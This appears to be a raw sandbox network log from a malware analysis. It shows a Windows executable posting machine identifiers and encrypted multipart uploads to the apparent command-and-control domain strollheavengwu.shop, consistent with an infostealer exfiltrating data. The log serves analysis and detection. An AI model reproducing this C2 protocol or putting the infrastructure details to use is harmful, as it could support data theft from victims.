2024-04-21 08:46:58 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: strollheavengwu.shop
2024-04-21 08:46:58 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 36 4d 6b 30 4d 2d 2d 6b 65 79 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=P6Mk0M--key&j=default
2024-04-21 08:46:59 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:46:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9hglug96illlgqbe35h7qshbce; expires=Thu, 15-Aug-2024 02:33:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6A4mjEAlh8I1CyBU%2BGF9t72tT9aTcFT0ad%2BadA6iK1%2B4Ec%2BSwG6XNTocet1%2BP6mKSyZhbjjUCrTnQDKJPy4ssDZwO2p3%2FpBz2bBapnFnAosW%2B%2FhOl8lHPDvveCa7le8m5ZRYycpmGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b5398007b93-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:46:59 UTC	551	IN	Data Raw: 33 39 65 63 0d 0a 61 78 62 6b 38 45 4b 7a 47 42 69 62 4e 58 7a 50 6d 39 6a 5a 6c 68 70 41 42 7a 39 4a 38 75 5a 68 74 46 67 38 38 41 35 35 69 6d 77 51 48 4f 33 53 4e 4a 45 69 4f 4b 38 5a 64 73 61 35 71 37 79 30 49 47 42 7a 54 54 79 58 79 6d 75 39 65 6c 32 55 4c 45 4f 71 43 67 70 36 6c 35 56 75 75 52 45 36 39 6b 31 65 39 62 75 44 30 35 39 68 53 67 34 32 61 35 65 49 51 34 35 34 48 6f 64 72 47 2b 38 55 48 33 4f 4b 67 79 76 63 64 6c 6a 32 55 41 69 75 39 72 6d 71 2f 54 51 70 61 42 31 6c 2b 4f 39 6f 6c 6a 31 47 30 6a 52 5a 71 43 45 4f 59 6f 57 39 49 38 42 7a 4f 72 63 2f 64 63 61 35 76 61 32 30 49 47 41 6c 59 32 75 43 68 78 50 56 4e 55 2b 73 4c 45 50 78 4d 45 6c 2f 6b 4a 55 77 30 6d 78 78 39 46 73 50 6b 37 6e 69 37 36 59 71 63 44 63 50 4e 4e 44 73 61 4d 6c 53 4e Data Ascii: 39ecaxbk8EKzGBibNXzPm9jZlhpABz9J8uZhtFg88A55imwQHO3SNJEiOK8Zdsa5q7y0IGBzTTyXymu9el2ULEOqCgp6l5VuuRE69k1e9buD059hSg42a5eIQ454HodrG+8UH3OKgyvcdlj2UAiu9rmq/TQpaB1l+O9olj1G0jRZqCEOYoW9I8BzOrc/dca5va20IGAlY2uChxPVNU+sLEPxMEl/kJUw0mxx9FsPk7ni76YqcDcPNNDsaMlSN
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 6c 46 48 2b 67 64 77 71 41 6b 46 4e 4e 37 51 59 4e 64 30 65 2f 52 58 44 4b 58 79 73 62 37 6d 63 79 74 6f 55 43 75 64 6a 67 7a 56 4f 6c 6d 59 5a 68 54 69 43 67 52 35 67 4a 49 67 6b 54 51 53 6b 6a 78 65 71 75 48 36 34 37 59 34 41 57 42 4e 4c 4a 79 53 51 65 78 36 4e 76 6c 7a 56 59 4e 4d 53 78 7a 74 69 30 69 36 45 54 72 2b 57 31 37 31 75 2f 71 7a 38 58 73 68 62 6c 49 6f 6d 49 38 52 31 69 68 59 6e 32 6b 4a 37 67 73 48 66 6f 57 41 4b 74 39 38 65 66 42 63 46 36 6a 2b 76 76 75 36 45 45 6b 4f 48 53 79 49 78 46 75 55 65 6e 2b 66 5a 78 66 69 47 51 6b 30 37 76 6b 2f 6e 78 49 52 34 44 39 31 78 72 6d 39 74 37 51 67 59 43 56 5a 4b 70 53 46 42 39 67 30 57 70 35 71 46 65 55 42 44 33 36 47 6c 53 72 5a 63 6e 76 30 58 42 47 74 2f 4c 65 2f 38 6e 51 6a 59 42 31 6c 2b 4f 39 6f Data Ascii: lFH+gdwqAkFNN7QYNd0e/RXDKXysb7mcytoUCudjgzVOlmYZhTiCgR5gJIgkTQSkjxequH647Y4AWBNLJySQex6NvlzVYNMSxzti0i6ETr+W171u/qz8XshblIomI8R1ihYn2kJ7gsHfoWAKt98efBcF6j+vvu6EEkOHSyIxFuUen+fZxfiGQk07vk/nxIR4D91xrm9t7QgYCVZKpSFB9g0Wp5qFeUBD36GlSrZcnv0XBGt/Le/8nQjYB1l+O9o
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 46 67 46 75 45 4c 42 6d 61 4d 6e 69 48 44 66 58 50 77 58 52 2b 6a 39 72 47 33 38 57 6f 70 61 6c 55 6b 6b 59 6b 4f 33 54 35 65 30 69 4a 7a 67 32 56 4a 63 35 37 53 65 4a 4d 36 57 2f 52 59 44 4b 37 6f 2b 49 37 33 64 69 78 69 53 32 76 34 37 78 79 59 55 6a 57 4c 42 48 43 44 54 67 35 34 78 73 70 69 6b 58 74 32 39 56 59 52 71 2f 4f 79 75 50 56 71 4b 32 70 56 4a 4a 6d 46 41 4e 49 37 56 49 42 2b 47 2b 51 63 42 58 36 41 6e 53 33 64 4f 6a 53 52 50 48 58 74 2f 71 4c 37 72 44 70 69 54 31 34 2f 6b 34 35 42 34 7a 6c 51 6e 47 73 4e 71 47 5a 69 61 38 6a 36 53 38 67 53 45 5a 49 58 47 61 47 35 34 76 6d 30 64 53 4e 74 57 7a 6d 66 69 51 44 59 4e 46 47 58 59 78 50 6f 44 67 52 78 67 70 6b 72 30 6e 64 2b 36 31 30 65 70 66 79 37 73 66 34 34 62 41 30 32 51 4e 43 44 47 35 5a 69 48 Data Ascii: FgFuELBmaMniHDfXPwXR+j9rG38WopalUkkYkO3T5e0iJzg2VJc57SeJM6W/RYDK7o+I73dixiS2v47xyYUjWLBHCDTg54xspikXt29VYRq/OyuPVqK2pVJJmFANI7VIB+G+QcBX6AnS3dOjSRPHXt/qL7rDpiT14/k45B4zlQnGsNqGZia8j6S8gSEZIXGaG54vm0dSNtWzmfiQDYNFGXYxPoDgRxgpkr0nd+610epfy7sf44bA02QNCDG5ZiH
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 36 42 67 39 7a 69 70 6f 6c 33 6e 78 2f 39 46 41 56 72 75 75 6f 75 50 42 32 4c 69 55 54 51 2f 76 76 51 39 45 69 48 73 6f 75 57 38 30 5a 43 6d 53 41 6b 57 43 35 45 57 57 33 50 33 57 30 6b 64 48 51 74 48 38 75 4a 51 56 70 30 49 51 4e 32 6a 46 5a 6d 57 63 66 37 41 34 45 66 34 69 63 4b 64 31 79 64 76 35 46 45 36 6a 78 73 4c 4c 78 64 43 39 6d 54 79 69 52 78 45 32 2b 55 54 58 53 61 77 4f 6f 56 6b 73 30 6f 61 45 58 38 6a 6f 53 6b 6b 68 51 78 5a 4b 6a 30 35 38 54 59 6d 4a 52 61 38 6a 47 51 39 63 79 57 5a 78 6f 43 65 59 63 42 33 4f 47 6c 43 6a 5a 66 58 62 33 57 51 79 6c 2b 4c 71 31 2b 33 41 72 59 56 77 76 6c 49 67 45 6c 6e 51 32 2b 51 64 62 37 78 5a 4a 4c 4d 54 53 43 4e 4a 67 59 4c 74 35 46 61 33 2b 71 71 33 76 4f 45 6f 4f 51 6d 58 34 37 78 71 2b 55 54 58 53 61 78 Data Ascii: 6Bg9zipol3nx/9FAVruuouPB2LiUTQ/vvQ9EiHsouW80ZCmSAkWC5EWW3P3W0kdHQtH8uJQVp0IQN2jFZmWcf7A4Ef4icKd1ydv5FE6jxsLLxdC9mTyiRxE2+UTXSawOoVks0oaEX8joSkkhQxZKj058TYmJRa8jGQ9cyWZxoCeYcB3OGlCjZfXb3WQyl+Lq1+3ArYVwvlIgElnQ2+Qdb7xZJLMTSCNJgYLt5Fa3+qq3vOEoOQmX47xq+UTXSax
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 66 34 6d 65 4c 74 31 78 63 66 4a 55 46 4b 54 36 74 72 33 31 64 69 4a 72 58 57 76 65 37 47 69 39 65 6c 6d 4b 4c 45 4f 71 54 69 6c 2f 6b 49 63 6a 77 58 78 39 39 52 64 32 78 75 62 30 30 35 39 68 53 67 34 32 61 35 65 49 51 34 35 34 48 70 78 2b 48 2b 6b 4f 41 58 32 4b 6d 53 6a 44 66 58 33 79 57 52 43 6d 2f 62 61 79 2f 33 45 6e 61 56 77 67 6d 59 45 48 33 44 78 54 30 69 4a 7a 67 32 56 4a 63 35 37 53 65 4a 4d 36 56 76 70 59 46 65 32 52 30 61 53 36 45 45 6c 38 4e 55 44 37 78 41 54 61 65 67 62 51 4c 42 7a 67 42 67 64 33 67 4a 6b 73 33 58 74 7a 2f 31 49 57 71 76 61 39 73 76 4e 34 4a 48 64 61 4a 70 6d 45 43 4e 38 77 57 70 4e 6e 57 36 5a 6d 59 68 2f 47 6c 54 69 52 49 6a 69 35 5a 52 6d 37 36 62 6e 37 6e 42 4d 39 4b 7a 5a 44 2b 35 31 72 76 56 45 65 6c 57 42 62 73 45 78 Data Ascii: f4meLt1xcfJUFKT6tr31diJrXWve7Gi9elmKLEOqTil/kIcjwXx99Rd2xub0059hSg42a5eIQ454Hpx+H+kOAX2KmSjDfX3yWRCm/bay/3EnaVwgmYEH3DxT0iJzg2VJc57SeJM6VvpYFe2R0aS6EEl8NUD7xATaegbQLBzgBgd3gJks3Xtz/1IWqva9svN4JHdaJpmECN8wWpNnW6ZmYh/GlTiRIji5ZRm76bn7nBM9KzZD+51rvVEelWBbsEx
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 69 66 64 4f 69 4b 37 46 78 2b 68 39 72 6d 30 39 33 73 6a 62 30 38 35 6e 49 30 4c 30 7a 5a 56 6e 47 6f 4a 37 67 45 41 64 34 57 62 4a 39 6c 32 63 50 70 51 58 75 4f 52 30 64 43 30 66 7a 6f 6c 42 57 6e 51 70 78 54 47 4e 78 37 36 42 77 53 6d 5a 6d 4a 74 37 76 6c 4c 6b 58 31 32 75 51 39 63 37 66 47 33 73 2f 35 38 4a 57 68 61 4c 5a 6d 57 43 74 4d 30 58 70 5a 6e 46 4f 34 4b 43 6e 53 55 6c 43 54 5a 65 58 66 30 57 52 32 70 75 66 54 54 6e 78 4e 69 59 6b 56 72 79 4d 5a 44 35 44 64 51 69 57 4d 63 2b 51 52 4a 48 4f 32 4e 62 72 6b 52 59 35 45 38 64 65 33 2b 74 76 75 73 4f 6d 4a 68 55 7a 6d 62 68 51 6a 64 4e 46 6d 64 61 52 48 6f 41 51 31 33 69 4a 6b 68 30 6e 4a 33 39 46 6b 55 70 50 43 39 74 2f 42 2f 59 69 73 31 51 50 76 45 42 4d 35 36 42 74 41 73 4d 4d 6b 6a 4a 58 4f 63 Data Ascii: ifdOiK7Fx+h9rm093sjb085nI0L0zZVnGoJ7gEAd4WbJ9l2cPpQXuOR0dC0fzolBWnQpxTGNx76BwSmZmJt7vlLkX12uQ9c7fG3s/58JWhaLZmWCtM0XpZnFO4KCnSUlCTZeXf0WR2pufTTnxNiYkVryMZD5DdQiWMc+QRJHO2NbrkRY5E8de3+tvusOmJhUzmbhQjdNFmdaRHoAQ13iJkh0nJ39FkUpPC9t/B/Yis1QPvEBM56BtAsMMkjJXOc
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 31 73 38 31 41 53 75 2f 4b 37 75 4f 4a 31 4d 69 55 31 51 49 2f 4b 61 37 30 6a 4e 76 6b 48 57 2b 38 43 53 53 7a 45 30 69 62 59 66 48 33 2f 57 51 79 6f 2f 37 57 30 2f 58 45 6d 62 56 34 72 6c 49 41 45 30 7a 6c 53 6d 57 73 59 35 77 6f 41 65 6f 2b 64 59 4a 38 53 45 5a 49 58 47 62 57 35 34 76 6d 30 57 54 6c 6d 55 53 62 51 37 47 6a 4a 64 44 62 35 64 58 4f 44 5a 55 6c 7a 69 74 4a 34 6b 7a 70 32 39 31 49 65 70 2f 2b 2b 76 76 4a 79 4a 32 56 57 4b 4a 2b 41 42 64 49 31 58 70 6c 6c 47 75 34 4c 41 33 2b 41 6e 79 50 58 66 44 71 33 50 33 58 47 75 62 32 6a 74 43 42 67 4a 58 30 77 6e 59 67 45 6c 6c 49 31 6a 53 4a 7a 67 78 64 68 48 2b 33 53 4a 39 30 36 49 72 73 58 46 61 48 39 76 62 76 35 65 79 70 67 57 53 47 56 68 41 76 45 4d 6c 36 56 66 67 6e 6f 42 77 78 34 68 5a 49 6b 31 Data Ascii: 1s81ASu/K7uOJ1MiU1QI/Ka70jNvkHW+8CSSzE0ibYfH3/WQyo/7W0/XEmbV4rlIAE0zlSmWsY5woAeo+dYJ8SEZIXGbW54vm0WTlmUSbQ7GjJdDb5dXODZUlzitJ4kzp291Iep/++vvJyJ2VWKJ+ABdI1XpllGu4LA3+AnyPXfDq3P3XGub2jtCBgJX0wnYgEllI1jSJzgxdhH+3SJ906IrsXFaH9vbv5eypgWSGVhAvEMl6VfgnoBwx4hZIk1
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 38 64 5a 4b 33 30 74 43 66 4f 44 6f 6c 42 57 6e 51 73 51 44 59 4e 46 6d 45 66 56 62 50 41 41 35 31 6b 49 49 33 33 6a 6f 30 6b 54 78 31 37 66 2f 36 34 37 59 72 62 41 30 32 51 4e 43 41 45 70 5a 69 48 4d 49 2b 51 4c 31 64 58 69 54 55 2b 6b 76 4f 4e 42 4b 53 54 6e 62 47 6b 76 71 74 74 43 42 67 4e 78 4e 44 2b 2b 39 44 78 48 6f 47 30 43 78 63 36 78 77 62 63 6f 57 45 49 35 5a 45 52 4e 35 42 46 4b 72 70 76 61 7a 37 4f 47 77 4e 4e 6b 44 51 69 30 4f 4f 65 47 66 36 42 33 43 44 54 67 42 7a 6e 59 4d 32 33 47 70 39 75 54 39 31 78 73 62 30 30 35 38 54 59 6e 30 64 63 39 4c 45 4e 74 55 30 55 4a 56 36 43 71 55 70 48 33 36 42 67 69 66 47 64 54 71 33 50 33 58 47 75 62 7a 37 72 44 70 78 4b 7a 56 41 2b 38 51 48 78 33 6f 47 30 44 78 4a 73 31 74 61 49 39 62 41 53 4c 70 6c 4e 4a Data Ascii: 8dZK30tCfODolBWnQsQDYNFmEfVbPAA51kII33jo0kTx17f/647YrbA02QNCAEpZiHMI+QL1dXiTU+kvONBKSTnbGkvqttCBgNxND++9DxHoG0Cxc6xwbcoWEI5ZERN5BFKrpvaz7OGwNNkDQi0OOeGf6B3CDTgBznYM23Gp9uT91xsb0058TYn0dc9LENtU0UJV6CqUpH36BgifGdTq3P3XGubz7rDpxKzVA+8QHx3oG0DxJs1taI9bASLplNJ
2024-04-21 08:46:59 UTC	1369	IN	Data Raw: 6b 64 48 51 74 48 64 69 50 52 38 53 30 49 63 52 78 48 56 50 68 47 45 4c 37 30 49 42 5a 59 75 65 59 4a 38 34 4f 72 56 54 46 61 48 38 76 61 75 37 61 6a 4a 75 55 54 33 63 67 42 47 57 64 42 7a 53 66 52 44 6e 48 41 64 7a 79 59 4d 32 33 47 70 35 2f 46 42 53 70 65 69 33 74 37 51 32 59 43 56 49 49 4a 79 43 44 73 4e 31 54 34 52 76 44 65 39 43 41 57 57 4c 6e 6d 44 75 4e 42 4b 53 50 46 36 31 75 65 4c 35 74 45 30 68 61 31 4d 73 68 70 56 4f 39 6a 46 53 6b 57 41 61 37 30 35 48 48 4f 33 35 59 4e 63 36 49 72 73 45 55 4d 57 53 30 66 76 77 61 57 49 39 48 33 76 43 33 31 61 46 62 51 37 41 42 48 44 33 51 47 45 66 6e 2f 70 4c 75 6a 70 73 75 51 39 63 2f 37 66 53 30 4a 38 34 4d 43 55 46 61 64 44 44 41 4d 51 6f 57 4a 46 36 47 4b 38 77 4e 33 57 4c 6e 57 7a 66 63 58 72 2b 52 77 69 Data Ascii: kdHQtHdiPR8S0IcRxHVPhGEL70IBZYueYJ84OrVTFaH8vau7ajJuUT3cgBGWdBzSfRDnHAdzyYM23Gp5/FBSpei3t7Q2YCVIIJyCDsN1T4RvDe9CAWWLnmDuNBKSPF61ueL5tE0ha1MshpVO9jFSkWAa705HHO35YNc6IrsEUMWS0fvwaWI9H3vC31aFbQ7ABHD3QGEfn/pLujpsuQ9c/7fS0J84MCUFadDDAMQoWJF6GK8wN3WLnWzfcXr+Rwi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:46:59 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18161 Host: strollheavengwu.shop
2024-04-21 08:46:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 30 45 44 39 30 43 39 46 42 33 32 41 34 46 44 39 42 41 31 39 35 45 32 37 34 42 42 30 36 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"020ED90C9FB32A4FD9BA195E274BB069--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:46:59 UTC	2830	OUT	Data Raw: 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f Data Ascii: 2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?
2024-04-21 08:47:00 UTC	806	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:47:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hudtt4m5bhqr2qcdpdth1h3j80; expires=Thu, 15-Aug-2024 02:33:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tQybvAN1Mo4v7guhfD4EfxxvOwJDqzZCCcx7H17xzKO5HdOYlADX8RIwtbxzJ2SC4gq4R4UvxLYjJ6v1NYvs647LbOFJ04U%2BOplsovOISOHEU1nyHI4vSjMW%2FteWflB7R7MVSAH0TA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b58de66b074-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:47:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:47:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:47:00 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8782 Host: strollheavengwu.shop
2024-04-21 08:47:00 UTC	8782	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 30 45 44 39 30 43 39 46 42 33 32 41 34 46 44 39 42 41 31 39 35 45 32 37 34 42 42 30 36 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"020ED90C9FB32A4FD9BA195E274BB069--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:47:01 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:47:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=poevmti4kmbs6k4sn6e4t3mo30; expires=Thu, 15-Aug-2024 02:33:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=38p2byXCPKkaUqNEoSTGAQ5%2BqMaV0pSaORgNcZYlV07fHbtADpWTG68o7U%2FuppFOeCUYno6eItd%2BHsgu2fqyGzlgMrqsrosC%2FAbBkK0F5bpOcGrbzzN7mC7UguPeHz5Wr2%2F7ThjPNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b5e7ea94554-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:47:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:47:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:47:01 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20435 Host: strollheavengwu.shop
2024-04-21 08:47:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 30 45 44 39 30 43 39 46 42 33 32 41 34 46 44 39 42 41 31 39 35 45 32 37 34 42 42 30 36 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"020ED90C9FB32A4FD9BA195E274BB069--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:47:01 UTC	5104	OUT	Data Raw: 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-04-21 08:47:02 UTC	806	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:47:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j0n9rnu8s8f73upsuo67fbu3hv; expires=Thu, 15-Aug-2024 02:33:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z60w41dew%2Bg3%2Bw8FCvV9uaMQW8F6vBcG1eo1uX3kPvF5K2TmiZuRhiGVo5VhTo7iMkNjWe4m8o8g8DQQXYwgrjuNLYQf7kGpvxlp6YxRT4Q2CVRNcrNSUXYTFInBqrbzcBqo7Z7zAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b64ad5aadc5-ATL alt-svc: h3=":443"; ma=86400
